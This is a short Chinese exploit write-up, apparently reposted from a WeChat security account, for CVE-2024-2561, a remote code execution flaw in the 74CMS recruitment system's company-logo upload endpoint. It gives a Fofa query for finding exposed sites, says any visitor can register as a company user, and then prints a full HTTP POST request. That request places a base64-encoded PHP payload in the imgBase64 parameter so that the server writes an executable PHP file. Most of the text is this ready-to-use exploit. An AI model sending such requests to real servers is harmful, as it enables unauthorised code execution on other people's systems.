漏洞描述
74CMS人才系统存在RCE CVE-2024-2561,漏洞地址存在与sendCompanyLogo文件中/controller/company/Index.php#sendCompanyLogo的组件Company Logo Handler。经修改后的参数:imgBase64恶意代码输入可导致rce。
漏洞复现
1、Fofa
app="骑士-74CMS"
2、从官方演示网站上可以清楚地看出:https://74cmsse.xxxxx.com/member/reg/company 他们允许任何人注册为公司用户。
3、当在完成公司成员注册后,发送以下EXP就可以完成上传
POST /v1_0/company/index/sendCompanyLogo HTTP/1.1
Host:
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
user-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: qscms_visitor=%7B%22utype%22%3A1%2C%22mobile%22%3A%2215212345678%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ%22%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
imgBase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
直接访问
原文始发于微信公众号(骇客安全):74cmsRCECVE-2024-2561
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